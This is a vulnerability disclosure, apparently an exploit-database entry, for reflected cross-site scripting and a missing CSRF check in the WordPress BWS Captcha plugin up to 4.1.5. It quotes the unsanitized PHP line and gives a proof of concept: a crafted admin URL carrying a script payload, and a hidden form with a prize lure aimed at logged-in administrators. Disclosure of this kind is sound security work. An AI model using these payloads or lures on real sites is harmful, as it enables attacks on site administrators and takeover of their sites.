WordPress Best Web Soft Captcha 4.1.5 Plugin - Multiple Vulnerabilities

* Exploit Title: BWS Captcha Multiple Vulnerabilities
* Discovery Date:12.03.2015
* Public Disclosure Date:03.10.2016
* Exploit Author: Colette Chamberland
* Contact: [email protected]
* Vendor Homepage: http://bestwebsoft.com/
* Software Link: https://wordpress.org/plugins/captcha/
* Version:  <=4.1.5
* Tested on: Wordpress 4.2.x
* Category: Wordpress
* CVE: Requested but none received
  
Description
================================================================================
Unsanitized input in whitelist.php:
 
297: $message = __( 'Search results for', $this->textdomain ) . '&nbps;:&nbps;' . $_REQUEST['s'];
 
  
PoC
================================================================================
The variable can be passed in using a get as well as a post. An attacker
could send unsuspecting authenticated admin a url crafted like such:
 
http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
 
or they can send a form (no CSRF token check)
 
<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
<input type="hidden" name="s" value="<script>alert(1);</script>">
<input type="submit" name="Search IP" value="Click here to claim your prize!">
</form>
 
and it would execute XSS as long as they were logged in to the site.

#  0day.today [2018-03-12]  #